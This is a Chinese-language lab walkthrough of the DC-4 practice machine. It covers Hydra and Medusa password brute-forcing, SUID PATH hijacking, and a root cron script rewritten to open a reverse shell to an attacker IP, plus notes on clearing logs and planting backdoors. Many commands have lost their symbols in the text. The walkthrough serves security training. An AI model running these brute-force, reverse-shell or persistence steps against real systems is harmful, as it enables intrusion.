DC-4靶機(jī)實(shí)戰(zhàn):SSH暴力破解與Linux提權(quán)技術(shù)深度解析
1. 項(xiàng)目概述從靶機(jī)到實(shí)戰(zhàn)的SSH攻防演練最近在整理滲透測(cè)試的學(xué)習(xí)筆記翻到了DC-4這個(gè)經(jīng)典的靶機(jī)。它不像DC-1那樣是純粹的入門(mén)引導(dǎo)也不像DC-3那樣有明確的Web路徑DC-4更像是一個(gè)“混合型”的實(shí)戰(zhàn)沙盒其核心挑戰(zhàn)之一就是SSH服務(wù)的暴力破解與后續(xù)的權(quán)限提升。很多朋友在打這個(gè)靶機(jī)時(shí)往往卡在Web登錄后的那一步或者即使拿到了一個(gè)低權(quán)限的shell也不知道如何進(jìn)一步突破。今天我就以一個(gè)老滲透手的視角把DC-4靶機(jī)中涉及SSH暴力破解的技巧、工具的選擇與優(yōu)化、以及拿到立足點(diǎn)后的提權(quán)路徑掰開(kāi)揉碎了講一遍。這不僅僅是打靶其中的思路和方法對(duì)于理解真實(shí)環(huán)境中Linux服務(wù)器的弱口令防護(hù)和權(quán)限維持有著直接的參考價(jià)值。DC-4靶機(jī)模擬了一個(gè)常見(jiàn)的場(chǎng)景一個(gè)對(duì)外提供Web服務(wù)的應(yīng)用其后臺(tái)管理入口暴露并且服務(wù)器上運(yùn)行著SSH服務(wù)。攻擊者通常的路徑是通過(guò)Web漏洞或弱口令進(jìn)入后臺(tái)在后臺(tái)尋找線索比如SSH憑據(jù)然后嘗試登錄SSH。如果SSH密碼強(qiáng)度不足暴力破解就成了最直接有效的手段。成功登錄SSH后我們獲得的往往是一個(gè)普通用戶權(quán)限這時(shí)就需要運(yùn)用各種本地提權(quán)技術(shù)最終拿到root權(quán)限。整個(gè)過(guò)程考驗(yàn)的是信息收集、密碼攻擊的效率和提權(quán)漏洞的發(fā)現(xiàn)能力。下面我們就按照這個(gè)實(shí)戰(zhàn)流程一步步拆解。2. 環(huán)境搭建與信息收集奠定攻擊基礎(chǔ)在開(kāi)始任何攻擊之前充分的信息收集是成功的一半。對(duì)于DC-4這類已知的靶機(jī)我們雖然知道目標(biāo)大概是什么但嚴(yán)謹(jǐn)?shù)牧鞒滩荒苌龠@能培養(yǎng)良好的實(shí)戰(zhàn)習(xí)慣。2.1 靶機(jī)環(huán)境配置與網(wǎng)絡(luò)發(fā)現(xiàn)首先確保你的攻擊機(jī)通常是Kali Linux和DC-4靶機(jī)處于同一網(wǎng)絡(luò)段。我習(xí)慣使用VMware或VirtualBox的NAT網(wǎng)絡(luò)模式這樣能模擬一個(gè)隔離的內(nèi)部網(wǎng)絡(luò)環(huán)境。啟動(dòng)靶機(jī)后第一步是發(fā)現(xiàn)它的IP地址。這里最常用的工具是netdiscover或者nmap進(jìn)行ARP掃描。我更喜歡用nmap因?yàn)樗`活。sudo nmap -sn 192.168.1.0/24這條命令會(huì)對(duì)192.168.1.0/24網(wǎng)段進(jìn)行Ping掃描-sn 不進(jìn)行端口掃描快速找出存活的設(shè)備。從結(jié)果中找到那個(gè)不屬于你已知設(shè)備的IP很可能就是DC-4。假設(shè)我們發(fā)現(xiàn)的靶機(jī)IP是192.168.1.105。注意在實(shí)際的授權(quán)滲透測(cè)試中必須明確獲得掃描目標(biāo)網(wǎng)段的許可。未經(jīng)授權(quán)的掃描是違法行為。拿到IP后我們需要進(jìn)行更詳細(xì)的端口掃描以了解靶機(jī)開(kāi)放了哪些服務(wù)。sudo nmap -sS -sV -O -p- 192.168.1.105-sS: TCP SYN掃描一種半開(kāi)放掃描速度快且相對(duì)隱蔽。-sV: 版本探測(cè)嘗試識(shí)別運(yùn)行在開(kāi)放端口上的服務(wù)及其版本。-O: 操作系統(tǒng)探測(cè)。-p-: 掃描所有65535個(gè)端口。掃描結(jié)果通常會(huì)顯示兩個(gè)關(guān)鍵端口80/tcp: HTTP運(yùn)行著一個(gè)Web服務(wù)。這是我們的初始入口。22/tcp: SSH運(yùn)行著OpenSSH服務(wù)。這是我們暴力破解和后續(xù)登錄的目標(biāo)。2.2 Web應(yīng)用初步偵察與入口突破既然有Web服務(wù)瀏覽器訪問(wèn)http://192.168.1.105是必然的。DC-4的Web界面通常是一個(gè)簡(jiǎn)單的登錄頁(yè)面。面對(duì)登錄框我們首先嘗試一些常見(jiàn)的弱口令比如admin/admin、admin/password等。在DC-4中這些往往不奏效。這時(shí)我們需要更系統(tǒng)的方法。使用Burp Suite或Hydra對(duì)登錄表單進(jìn)行暴力破解是標(biāo)準(zhǔn)操作。但在此之前用瀏覽器開(kāi)發(fā)者工具F12查看一下登錄請(qǐng)求的格式非常關(guān)鍵。你需要弄清楚請(qǐng)求方法通常是POST。參數(shù)名用戶名和密碼對(duì)應(yīng)的字段名比如username和password。可能的錯(cuò)誤提示登錄失敗時(shí)頁(yè)面返回什么信息是“登錄失敗”還是“用戶名或密碼錯(cuò)誤”這關(guān)系到我們使用工具時(shí)判斷成功的條件。假設(shè)我們通過(guò)Burp Suite抓包發(fā)現(xiàn)POST數(shù)據(jù)為usernameadminpasswordtestsubmitLogin失敗時(shí)頁(yè)面會(huì)包含“Invalid username or password”字樣。我們可以使用Hydra來(lái)針對(duì)這個(gè)登錄進(jìn)行爆破hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.105 http-post-form /login.php:username^USER^password^PASS^submitLogin:Invalid username or password-l admin: 指定用戶名為admin如果我們通過(guò)其他信息收集猜到了用戶名。-P ...: 指定密碼字典這里用了Kali自帶的rockyou.txt需先解壓sudo gunzip /usr/share/wordlists/rockyou.txt.gz。http-post-form: 指定協(xié)議模塊。后面的參數(shù)是模塊的詳細(xì)格式路徑:POST數(shù)據(jù):失敗條件。在DC-4的實(shí)際演練中你可能會(huì)發(fā)現(xiàn)直接對(duì)admin用戶爆破不成功。這時(shí)信息收集的另一個(gè)方面就很重要了枚舉用戶名。也許網(wǎng)站存在注冊(cè)功能、密碼找回功能或者頁(yè)面源碼、注釋里隱藏了其他用戶名如jim,charles等。我們可以先準(zhǔn)備一個(gè)用戶名字典users.txt然后同時(shí)爆破用戶名和密碼。hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.105 http-post-form /login.php:username^USER^password^PASS^submitLogin:Invalid username or password成功爆破后我們就能進(jìn)入Web后臺(tái)。在DC-4的后臺(tái)往往存在一個(gè)“命令執(zhí)行”功能點(diǎn)比如一個(gè)可以輸入命令并返回結(jié)果的輸入框。這通常是我們獲取第一個(gè)反向Shell的跳板。3. SSH暴力破解的核心技巧與工具實(shí)戰(zhàn)通過(guò)Web后臺(tái)的命令執(zhí)行功能我們通常能獲得一個(gè)www-data用戶權(quán)限的Shell。但這個(gè)Shell往往受限比如沒(méi)有TTY交互性差也不穩(wěn)定。因此轉(zhuǎn)向SSH是建立更穩(wěn)定、功能更完整控制通道的最佳選擇。但SSH密碼是什么這就需要暴力破解。3.1 從Web Shell到SSH用戶枚舉在拿到低權(quán)限Web Shell后第一件事是查看系統(tǒng)中有哪些用戶特別是那些可能擁有登錄Shell的用戶如/bin/bash,/bin/sh。cat /etc/passwd | grep -E “(/bin/bash|/bin/sh)”這個(gè)命令會(huì)列出所有可以使用bash或sh登錄的用戶。在DC-4中你可能會(huì)發(fā)現(xiàn)除了root還有像jim,charles這樣的用戶。接下來(lái)嘗試尋找這些用戶的蛛絲馬跡。檢查他們的家目錄如果可讀看看有沒(méi)有.ssh目錄、歷史文件.bash_history、或者配置文件。有時(shí)密碼可能直接寫(xiě)在某個(gè)文本文件里或者通過(guò)歷史命令暴露出來(lái)。ls -la /home/jim/ cat /home/jim/.bash_history 2/dev/null find / -name “*.txt” -o -name “*.bak” -o -name “*.old” 2/dev/null | grep -v /proc如果這些直接的信息收集沒(méi)有收獲那么針對(duì)SSH的暴力破解就提上日程了。3.2 Hydra與Medusa經(jīng)典工具的深度使用Hydra和Medusa是網(wǎng)絡(luò)服務(wù)暴力破解的兩大利器。對(duì)于SSH它們都非常高效。使用Hydra爆破SSH假設(shè)我們通過(guò)信息收集懷疑用戶jim可能存在弱口令。hydra -l jim -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.105 -t 4-t 4: 指定任務(wù)并行數(shù)根據(jù)網(wǎng)絡(luò)情況和目標(biāo)承受能力調(diào)整默認(rèn)是16對(duì)于SSH可以調(diào)低以減少連接失敗。使用Medusa爆破SSHMedusa的模塊化設(shè)計(jì)有時(shí)在復(fù)雜環(huán)境下更穩(wěn)定。medusa -h 192.168.1.105 -u jim -P /usr/share/wordlists/rockyou.txt -M ssh實(shí)操心得與避坑指南速率控制無(wú)限制的高速爆破很容易觸發(fā)目標(biāo)的防御機(jī)制如fail2ban導(dǎo)致IP被封鎖也可能會(huì)壓垮目標(biāo)服務(wù)。務(wù)必使用-wHydra或-tMedusa等參數(shù)控制線程數(shù)并考慮使用-fHydra在找到第一個(gè)有效密碼后停止。字典質(zhì)量rockyou.txt是很好的起點(diǎn)但它包含1400多萬(wàn)個(gè)密碼對(duì)SSH進(jìn)行全量爆破非常耗時(shí)。更好的方法是使用針對(duì)性字典。例如如果目標(biāo)用戶叫jim可以嘗試將jim、jim123、jim2023、passwordjim等組合密碼加入一個(gè)自定義的小字典優(yōu)先嘗試。工具如CUPP可以根據(jù)個(gè)人信息生成針對(duì)性字典。錯(cuò)誤處理SSH爆破會(huì)產(chǎn)生大量連接錯(cuò)誤日志。使用-vVHydra或-v 6Medusa查看詳細(xì)輸出但要注意過(guò)于詳細(xì)的輸出在大型字典爆破時(shí)會(huì)影響速度。通常先快速測(cè)試一個(gè)小字典再用大字典耐心跑。協(xié)議差異確保指定了正確的協(xié)議ssh://。Hydra支持很多協(xié)議寫(xiě)錯(cuò)協(xié)議模塊是常見(jiàn)錯(cuò)誤。3.3 利用已獲信息進(jìn)行精準(zhǔn)爆破在滲透測(cè)試中“暴力”不等于“盲目”。我們應(yīng)充分利用已獲得的所有信息來(lái)縮小攻擊面。用戶名列表從/etc/passwd、Web應(yīng)用頁(yè)面、郵件列表等處收集可能的用戶名生成users.txt。密碼規(guī)則如果從Web應(yīng)用、數(shù)據(jù)庫(kù)備份或配置文件里發(fā)現(xiàn)了密碼策略如“密碼必須包含大寫(xiě)字母和數(shù)字”可以利用hashcat的規(guī)則模式或John the Ripper的規(guī)則來(lái)生成符合策略的字典。密碼復(fù)用如果已經(jīng)拿到了一個(gè)用戶比如charles的密碼可能從Web后臺(tái)的配置文件中發(fā)現(xiàn)一定要嘗試這個(gè)密碼在其他用戶如jim,root上的復(fù)用。很多人會(huì)在不同賬戶使用相同或相似的密碼。在DC-4的場(chǎng)景中經(jīng)過(guò)合理的字典和用戶枚舉你很有可能會(huì)成功爆破出用戶jim的SSH密碼。4. SSH登錄后的初步立足與信息收集成功使用ssh jim192.168.1.105登錄后我們獲得了一個(gè)交互性更好的Shell。但這只是普通用戶權(quán)限我們的目標(biāo)是root。接下來(lái)的每一步操作都是為了向這個(gè)目標(biāo)邁進(jìn)。4.1 基礎(chǔ)信息收集清單登錄后不要急著亂跑。系統(tǒng)性地收集信息能讓你更快地找到提權(quán)突破口。我習(xí)慣執(zhí)行以下命令序列當(dāng)前用戶權(quán)限id whoami sudo -l # **非常重要** 查看當(dāng)前用戶能以root身份運(yùn)行哪些命令。sudo -l是提權(quán)的“黃金門(mén)票”。如果用戶被配置了無(wú)需密碼就能以root身份運(yùn)行特定命令如/bin/bash,vim,find,python等提權(quán)幾乎瞬間完成。系統(tǒng)信息uname -a # 內(nèi)核版本 cat /etc/issue # 系統(tǒng)發(fā)行版信息 cat /etc/os-release dpkg -l 2/dev/null | head -20 # Debian/Ubuntu查看已安裝軟件包 rpm -qa 2/dev/null | head -20 # CentOS/RHEL查看已安裝軟件包內(nèi)核版本和發(fā)行版信息用于搜索公開(kāi)的本地提權(quán)漏洞如DirtyCow。進(jìn)程與服務(wù)ps aux netstat -tulpn 或 ss -tulpn # 查看網(wǎng)絡(luò)連接和監(jiān)聽(tīng)端口 systemctl list-units --typeservice --staterunning # 查看運(yùn)行的系統(tǒng)服務(wù)高權(quán)限運(yùn)行的異常進(jìn)程、內(nèi)部開(kāi)放的有漏洞服務(wù)都可能是突破口。計(jì)劃任務(wù)crontab -l # 查看當(dāng)前用戶的計(jì)劃任務(wù) ls -la /etc/cron* # 查看系統(tǒng)級(jí)計(jì)劃任務(wù)目錄 cat /etc/crontab檢查是否有任何計(jì)劃任務(wù)以root權(quán)限運(yùn)行并且其腳本或二進(jìn)制文件當(dāng)前用戶有寫(xiě)入權(quán)限。如果有可以通過(guò)寫(xiě)入惡意命令來(lái)提權(quán)。SUID/GUID文件find / -type f -perm -4000 -o -perm -2000 2/dev/null查找設(shè)置了SUIDSet User ID或GUIDSet Group ID位的文件。這些文件在執(zhí)行時(shí)會(huì)以文件所有者通常是root的權(quán)限運(yùn)行。如果這些文件本身存在漏洞如nmap舊版本、vim、find、bash等或者其行為可被操控就可能用于提權(quán)。敏感文件與目錄權(quán)限find / -writable -type d 2/dev/null # 查找當(dāng)前用戶可寫(xiě)的目錄 find / -perm -ow -type f 2/dev/null | grep -v /proc # 查找全局可寫(xiě)的文件 ls -la /etc/passwd /etc/shadow # 檢查密碼文件權(quán)限全局可寫(xiě)的腳本、配置文件特別是那些會(huì)被root執(zhí)行的是絕佳的提權(quán)點(diǎn)。4.2 DC-4靶機(jī)中的常見(jiàn)提權(quán)路徑分析根據(jù)以往的經(jīng)驗(yàn)DC-4的提權(quán)路徑通常設(shè)計(jì)得比較“經(jīng)典”旨在教學(xué)。在系統(tǒng)性地執(zhí)行完上述信息收集后你可能會(huì)發(fā)現(xiàn)以下一個(gè)或多個(gè)線索sudo權(quán)限濫用用戶jim可能被配置了sudo權(quán)限可以無(wú)需密碼運(yùn)行某個(gè)編輯器如vim或文本處理器如more,less。例如sudo -l返回(root) NOPASSWD: /usr/bin/vim。這時(shí)在vim中執(zhí)行:!bash或:!sh就能直接獲得一個(gè)root shell。SUID二進(jìn)制文件系統(tǒng)中可能放置了一個(gè)設(shè)置了SUID位的、非常規(guī)的二進(jìn)制文件。使用上述find命令找出來(lái)后需要研究這個(gè)程序的用途。如果它是一個(gè)自定義程序嘗試用strings命令查看其字符串或者用ltrace/strace跟蹤其執(zhí)行過(guò)程看它是否調(diào)用了其他命令如cat,ls并且沒(méi)有使用絕對(duì)路徑。如果存在路徑劫持的可能提權(quán)就很簡(jiǎn)單了。計(jì)劃任務(wù)Cron Job可能有一個(gè)root權(quán)限的定時(shí)任務(wù)執(zhí)行一個(gè)當(dāng)前用戶有寫(xiě)入權(quán)限的腳本。通過(guò)編輯這個(gè)腳本插入反向Shell命令如bash -i /dev/tcp/攻擊機(jī)IP/端口 01等待任務(wù)執(zhí)行就能獲得root shell。內(nèi)核漏洞作為最后的手段。使用uname -a獲取內(nèi)核版本然后在攻擊機(jī)上搜索對(duì)應(yīng)的本地提權(quán)漏洞如searchsploit linux kernel 3.13。下載EXP上傳到靶機(jī)編譯并執(zhí)行。注意內(nèi)核漏洞利用有風(fēng)險(xiǎn)可能導(dǎo)致系統(tǒng)崩潰。在靶機(jī)環(huán)境可以嘗試在生產(chǎn)環(huán)境需極度謹(jǐn)慎。5. 經(jīng)典提權(quán)方法實(shí)戰(zhàn)演示以SUID和Cron為例假設(shè)我們?cè)贒C-4的信息收集中發(fā)現(xiàn)了以下兩個(gè)典型的提權(quán)點(diǎn)。5.1 SUID文件提權(quán)路徑劫持與自定義程序分析執(zhí)行find / -type f -perm -4000 2/dev/null后除了常見(jiàn)的/bin/ping、/bin/su等我們發(fā)現(xiàn)了一個(gè)不常見(jiàn)的文件/usr/local/bin/suid-example。首先查看這個(gè)文件的基本信息ls -la /usr/local/bin/suid-example file /usr/local/bin/suid-example發(fā)現(xiàn)它屬于root并且設(shè)置了SUID位。接著嘗試運(yùn)行它看看它做什么/usr/local/bin/suid-example它可能輸出一些信息或者要求輸入。我們用strings看看里面有什么strings /usr/local/bin/suid-example在輸出中我們可能看到像system(“l(fā)s /tmp”)或system(“cat /home/jim/data.txt”)這樣的字符串。這說(shuō)明這個(gè)程序內(nèi)部調(diào)用了ls或cat等系統(tǒng)命令。關(guān)鍵點(diǎn)來(lái)了它調(diào)用ls時(shí)使用的是相對(duì)路徑還是絕對(duì)路徑如果是相對(duì)路徑直接寫(xiě)ls而不是/bin/ls那么系統(tǒng)會(huì)在$PATH環(huán)境變量指定的目錄中尋找名為ls的可執(zhí)行文件。而$PATH變量是繼承自執(zhí)行這個(gè)SUID程序的用戶的雖然程序以root權(quán)限運(yùn)行但環(huán)境變量可能被當(dāng)前用戶控制。我們可以檢查并篡改$PATHecho $PATH假設(shè)$PATH包含/home/jim/bin:/usr/local/sbin:/usr/local/bin...。我們將一個(gè)惡意腳本命名為ls放在/home/jim/bin這個(gè)目錄我們需要有寫(xiě)權(quán)限下。創(chuàng)建惡意ls腳本cd /home/jim mkdir -p bin echo ‘/bin/bash -p’ bin/ls # ‘-p’ 選項(xiàng)在bash中用于保留特權(quán)模式 chmod x bin/ls然后確保/home/jim/bin在$PATH中的順序優(yōu)先于/binexport PATH/home/jim/bin:$PATH現(xiàn)在再次運(yùn)行那個(gè)SUID程序/usr/local/bin/suid-example。當(dāng)它試圖執(zhí)行l(wèi)s命令時(shí)會(huì)優(yōu)先找到我們放在/home/jim/bin下的惡意ls腳本并以root權(quán)限執(zhí)行它從而給我們一個(gè)root shell。5.2 Cron Job提權(quán)利用可寫(xiě)腳本執(zhí)行cat /etc/crontab或查看/etc/cron.*目錄時(shí)發(fā)現(xiàn)如下一行* * * * * root /opt/scripts/backup.sh這表示root用戶每分鐘都會(huì)執(zhí)行一次/opt/scripts/backup.sh腳本。我們檢查這個(gè)腳本的權(quán)限ls -la /opt/scripts/backup.sh如果發(fā)現(xiàn)這個(gè)腳本對(duì)當(dāng)前用戶jim可寫(xiě)或者其所在目錄/opt/scripts對(duì)jim可寫(xiě)那么機(jī)會(huì)就來(lái)了。首先備份原腳本可選但建議cp /opt/scripts/backup.sh /opt/scripts/backup.sh.bak然后編輯這個(gè)腳本在末尾添加我們的反向Shell命令。我們需要知道攻擊機(jī)的IP和監(jiān)聽(tīng)端口。假設(shè)攻擊機(jī)IP是192.168.1.100監(jiān)聽(tīng)端口4444。echo ‘bash -i /dev/tcp/192.168.1.100/4444 01’ /opt/scripts/backup.sh在攻擊機(jī)上用nc監(jiān)聽(tīng)4444端口nc -lvnp 4444等待最多一分鐘Cron任務(wù)執(zhí)行后攻擊機(jī)的nc監(jiān)聽(tīng)端就會(huì)收到一個(gè)來(lái)自靶機(jī)的、root權(quán)限的反向Shell連接。重要提示在實(shí)際滲透測(cè)試中修改系統(tǒng)文件前務(wù)必三思并最好先取得明確授權(quán)。在靶機(jī)環(huán)境中則可以大膽練習(xí)。6. 問(wèn)題排查與進(jìn)階思考在實(shí)際操作中不會(huì)總是一帆風(fēng)順。下面是一些常見(jiàn)問(wèn)題及排查思路。6.1 SSH暴力破解失敗的可能原因IP被封鎖目標(biāo)可能部署了fail2ban等入侵防御系統(tǒng)。表現(xiàn)是Hydra大量報(bào)告“Connection closed by remote host”或超時(shí)。應(yīng)對(duì)降低線程數(shù)-t 1增加延遲Hydra沒(méi)有直接參數(shù)可配合其他工具如slowhttptest思路或換用Medusa的-t和-T控制線程和延遲?;蛘呷绻麠l件允許更換攻擊源IP。字典不匹配使用的密碼字典完全不符合目標(biāo)的密碼策略如全是短密碼而目標(biāo)要求12位以上。應(yīng)對(duì)結(jié)合信息收集結(jié)果生成針對(duì)性字典。利用之前獲得的任何密碼如Web后臺(tái)密碼進(jìn)行變形添加數(shù)字、符號(hào)、大小寫(xiě)變換生成新字典。用戶名錯(cuò)誤你爆破的用戶根本不存在或者無(wú)法通過(guò)SSH登錄shell是/sbin/nologin。應(yīng)對(duì)仔細(xì)分析/etc/passwd確認(rèn)哪些用戶有可登錄的shell。也可以嘗試用hydra的-L選項(xiàng)配合一個(gè)較大的用戶名字典。SSH配置限制目標(biāo)SSH服務(wù)可能配置了AllowUsers或DenyUsers限制了可登錄的用戶。應(yīng)對(duì)這種信息從外部難以直接獲取。如果Web Shell存在可以嘗試查看/etc/ssh/sshd_config文件。6.2 提權(quán)過(guò)程中的常見(jiàn)障礙與繞過(guò)sudo需要密碼sudo -l顯示可以運(yùn)行某些命令但需要輸入當(dāng)前用戶的密碼。應(yīng)對(duì)嘗試用已收集的密碼如SSH密碼來(lái)sudo。如果不行這條路暫時(shí)放棄尋找其他向量。SUID文件行為復(fù)雜找到的SUID文件行為不易理解或者調(diào)用的命令使用了絕對(duì)路徑。應(yīng)對(duì)使用strace跟蹤系統(tǒng)調(diào)用ltrace跟蹤庫(kù)函數(shù)調(diào)用這能清晰展示程序執(zhí)行過(guò)程。如果使用絕對(duì)路徑路徑劫持失效需要分析程序本身的邏輯是否有漏洞如緩沖區(qū)溢出但這通常超出了基礎(chǔ)提權(quán)范圍。內(nèi)核EXP編譯失敗或?qū)е卤罎?yīng)對(duì)確保EXP代碼與目標(biāo)系統(tǒng)架構(gòu)x86/x64匹配。查看EXP代碼中的說(shuō)明可能需要安裝gcc和make。在靶機(jī)上編譯前可以先在類似環(huán)境的虛擬機(jī)中測(cè)試。如果導(dǎo)致系統(tǒng)崩潰在靶機(jī)環(huán)境中重啟即可但在真實(shí)環(huán)境中這是災(zāi)難性的。沒(méi)有明顯的提權(quán)向量應(yīng)對(duì)回歸信息收集檢查得更仔細(xì)。查看用戶的郵件/var/mail/、緩存文件、日志文件/var/log/、臨時(shí)文件/tmp/,/var/tmp/。使用自動(dòng)化腳本如LinEnum.sh或linpeas.sh需要上傳到靶機(jī)進(jìn)行全面的權(quán)限檢查這些腳本能高效地發(fā)現(xiàn)容易被忽略的弱點(diǎn)。6.3 從靶機(jī)到實(shí)戰(zhàn)的思維延伸DC-4是一個(gè)理想化的教學(xué)環(huán)境真實(shí)世界要復(fù)雜得多。密碼策略企業(yè)環(huán)境的密碼策略更嚴(yán)格單純的字典爆破成功率低。需要結(jié)合社會(huì)工程學(xué)、密碼泄露庫(kù)如Have I Been Pwned、以及針對(duì)特定規(guī)則生成的密碼進(jìn)行攻擊。多因素認(rèn)證MFA越來(lái)越多的SSH和關(guān)鍵服務(wù)啟用MFA這會(huì)讓密碼破解失去意義。此時(shí)需要尋找其他入口點(diǎn)比如利用Web應(yīng)用的邏輯漏洞、供應(yīng)鏈攻擊等。日志清理在獲得root權(quán)限后在靶機(jī)中可以練習(xí)清理訪問(wèn)日志如/var/log/auth.log,/var/log/secure以及可能存在的~/.bash_history以掩蓋蹤跡。但在授權(quán)的滲透測(cè)試中是否需要清理日志取決于測(cè)試協(xié)議通常要求保留證據(jù)供分析。持久化拿到root不是終點(diǎn)。在真實(shí)攻擊中攻擊者會(huì)部署后門(mén)以實(shí)現(xiàn)持久化訪問(wèn)。例如添加SSH公鑰到/root/.ssh/authorized_keys創(chuàng)建定時(shí)任務(wù)后門(mén)或者安裝rootkit。在靶機(jī)環(huán)境中也可以練習(xí)這些技術(shù)以理解防御方應(yīng)如何檢測(cè)。打靶的目的是理解攻擊鏈的每一個(gè)環(huán)節(jié)從而更好地構(gòu)建防御。通過(guò)對(duì)DC-4這類靶機(jī)的深入演練我們不僅能掌握SSH暴力破解、SUID提權(quán)、Cron提權(quán)等具體技術(shù)更能建立起“攻擊者視角”的思維方式永不滿足于當(dāng)前權(quán)限持續(xù)收集信息交叉驗(yàn)證線索將每一個(gè)細(xì)微的發(fā)現(xiàn)都視為潛在的突破口。這種系統(tǒng)性、耐心和創(chuàng)造力才是滲透測(cè)試工程師的核心價(jià)值所在。

相關(guān)新聞

多賬號(hào)矩陣管理工具解析與實(shí)戰(zhàn)指南

多賬號(hào)矩陣管理工具解析與實(shí)戰(zhàn)指南

1. 多賬號(hào)運(yùn)營(yíng)的困境與破局 去年接手一個(gè)跨境電商項(xiàng)目時(shí),我手頭需要同時(shí)管理87個(gè)不同國(guó)家的店鋪賬號(hào)。每天在不同平臺(tái)間切換登錄、重復(fù)上傳商品、機(jī)械回復(fù)咨詢,這種低效操作讓我意識(shí)到:傳統(tǒng)單賬號(hào)運(yùn)營(yíng)模式已經(jīng)無(wú)法適應(yīng)現(xiàn)代商業(yè)需求。 多賬號(hào)…

2026/7/29 8:56:11 閱讀更多
VB加密解密實(shí)戰(zhàn):從CryptoAPI調(diào)用到核心源碼剖析

VB加密解密實(shí)戰(zhàn):從CryptoAPI調(diào)用到核心源碼剖析

1. 項(xiàng)目概述:為什么今天還要聊VB加密?“Visual Basic加密解密實(shí)戰(zhàn):源碼剖析”這個(gè)標(biāo)題,乍一看可能會(huì)讓很多新入行的開(kāi)發(fā)者感到困惑。Visual Basic?那不是上個(gè)世紀(jì)的古董語(yǔ)言嗎?現(xiàn)在誰(shuí)還用VB做加密啊&#x…

2026/7/29 8:56:11 閱讀更多
終極百度網(wǎng)盤(pán)高速下載指南:簡(jiǎn)單三步獲取直鏈地址

終極百度網(wǎng)盤(pán)高速下載指南:簡(jiǎn)單三步獲取直鏈地址

終極百度網(wǎng)盤(pán)高速下載指南:簡(jiǎn)單三步獲取直鏈地址 【免費(fèi)下載鏈接】baidu-wangpan-parse 獲取百度網(wǎng)盤(pán)分享文件的下載地址 項(xiàng)目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 還在為百度網(wǎng)盤(pán)下載速度慢而煩惱嗎?百度網(wǎng)盤(pán)直鏈解析工…

2026/7/29 8:46:10 閱讀更多
HarmonyOS應(yīng)用開(kāi)發(fā)實(shí)戰(zhàn):貓貓大作戰(zhàn)-FormExtensionAbility 的實(shí)現(xiàn)

HarmonyOS應(yīng)用開(kāi)發(fā)實(shí)戰(zhàn):貓貓大作戰(zhàn)-FormExtensionAbility 的實(shí)現(xiàn)

前言 FormExtensionAbility 是服務(wù)卡片的生命周期管理器,負(fù)責(zé)卡片的創(chuàng)建、更新、刪除等操作。每個(gè)卡片類型都需要一個(gè)對(duì)應(yīng)的 FormExtensionAbility。 本文以「貓貓大作戰(zhàn)」的戰(zhàn)績(jī)卡片管理為錨點(diǎn),講解 FormExtensionAbility 的實(shí)現(xiàn)。 提示:本…

2026/7/29 13:46:45 閱讀更多
TI TLV8544評(píng)估板:超低功耗PIR運(yùn)動(dòng)傳感器AFE設(shè)計(jì)全解析

TI TLV8544評(píng)估板:超低功耗PIR運(yùn)動(dòng)傳感器AFE設(shè)計(jì)全解析

1. 項(xiàng)目概述與核心價(jià)值如果你正在設(shè)計(jì)一個(gè)需要電池供電、且能持續(xù)工作數(shù)年的無(wú)線運(yùn)動(dòng)傳感器,那么功耗和信號(hào)調(diào)理精度就是你繞不開(kāi)的兩座大山。傳統(tǒng)的方案往往需要在多級(jí)放大、濾波和比較器之間做取舍,不僅電路復(fù)雜,靜態(tài)電流也容易失控。德州儀…

2026/7/29 13:46:45 閱讀更多
深入解析 MySQL InnoDB 存儲(chǔ)引擎:架構(gòu)、事務(wù)與并發(fā)控制

深入解析 MySQL InnoDB 存儲(chǔ)引擎:架構(gòu)、事務(wù)與并發(fā)控制

目錄 一、InnoDB引擎-邏輯存儲(chǔ)結(jié)構(gòu)二、InnoDB引擎-架構(gòu) 1. 內(nèi)存結(jié)構(gòu)2. 磁盤(pán)結(jié)構(gòu)3. 后臺(tái)線程 三、InnoDB引擎-事務(wù)原理 1. redo log2. undo log 四、InnoDB引擎-MVCC(多版本并發(fā)控制) 1. 基本概念2. MVCC_隱藏字段3. MVCC_undo log4. MVCC_readview提取規(guī)…

2026/7/29 13:46:45 閱讀更多
力扣22-括號(hào)生成

力扣22-括號(hào)生成

22. 括號(hào)生成 - 力扣(LeetCode) 數(shù)字 n 代表生成括號(hào)的對(duì)數(shù),請(qǐng)你設(shè)計(jì)一個(gè)函數(shù),用于能夠生成所有可能的并且 有效的 括號(hào)組合。 示例 1: 輸入:n 3 輸出:["((()))","(()())&qu…

2026/7/29 13:46:45 閱讀更多
數(shù)據(jù)資產(chǎn)盤(pán)點(diǎn):用資源血緣讓BI從‘黑盒‘變成‘透明工廠‘

數(shù)據(jù)資產(chǎn)盤(pán)點(diǎn):用資源血緣讓BI從‘黑盒‘變成‘透明工廠‘

導(dǎo)語(yǔ) 在與客戶交流BI選型時(shí),常常被問(wèn)到的一個(gè)高頻問(wèn)題不再是"圖表好不好看"“性能夠不夠快”,而是——“這個(gè)平臺(tái)能不能讓我說(shuō)清楚,每一個(gè)指標(biāo)是怎么來(lái)的、動(dòng)一下會(huì)影響誰(shuí)?” 這個(gè)問(wèn)題的出現(xiàn),標(biāo)志著企業(yè)選型…

2026/7/29 13:46:45 閱讀更多
沒(méi)API的老系統(tǒng)數(shù)據(jù)怎么取——異構(gòu)對(duì)接的數(shù)據(jù)庫(kù)只讀路線

沒(méi)API的老系統(tǒng)數(shù)據(jù)怎么取——異構(gòu)對(duì)接的數(shù)據(jù)庫(kù)只讀路線

# 沒(méi)API的老系統(tǒng)數(shù)據(jù)怎么取——異構(gòu)對(duì)接的數(shù)據(jù)庫(kù)只讀路線## 引言企業(yè)做數(shù)據(jù)集成,碰到的第一個(gè)攔路虎往往不是技術(shù)多復(fù)雜,而是手里壓根沒(méi)有像樣的接口。一套ERP是十幾年前上的,原廠早就停維,接口文檔跟著離職的開(kāi)發(fā)一起沒(méi)了&#x…

2026/7/29 13:36:44 閱讀更多
面試官大笑:“一個(gè)任務(wù)拆給 5 個(gè) Subagent 并行跑,不比 1 個(gè)快 5 倍?“我搖頭:“快不了,還可能更慢“

面試官大笑:“一個(gè)任務(wù)拆給 5 個(gè) Subagent 并行跑,不比 1 個(gè)快 5 倍?“我搖頭:“快不了,還可能更慢“

